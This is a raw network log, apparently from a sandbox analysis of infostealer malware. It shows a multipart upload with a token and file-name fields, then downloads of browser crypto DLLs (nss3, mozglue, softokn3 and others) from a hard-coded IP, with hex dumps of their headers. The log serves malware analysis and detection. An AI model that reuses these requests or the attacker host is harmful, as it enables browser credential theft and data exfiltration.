------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file_name"ZXI0aDRlOHI0LmZpbGU=------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file"------KJDGDBFBGIDGIEBGHCGI--
Apr 26, 2024 11:06:15.373235941 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:15.924840927 CEST	93	OUT	GET /15f649199f40275b/freebl3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 26, 2024 11:06:16.271606922 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:16 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Apr 26, 2024 11:06:17.576215029 CEST	93	OUT	GET /15f649199f40275b/mozglue.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 26, 2024 11:06:17.928117990 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:17 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 26, 2024 11:06:18.411948919 CEST	94	OUT	GET /15f649199f40275b/msvcp140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 26, 2024 11:06:18.764471054 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:18 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 26, 2024 11:06:19.197093010 CEST	90	OUT	GET /15f649199f40275b/nss3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 26, 2024 11:06:19.548939943 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:19 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 26, 2024 11:06:20.708359003 CEST	94	OUT	GET /15f649199f40275b/softokn3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 26, 2024 11:06:21.055001020 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:20 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 26, 2024 11:06:21.428270102 CEST	98	OUT	GET /15f649199f40275b/vcruntime140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 26, 2024 11:06:21.774168968 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:21 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 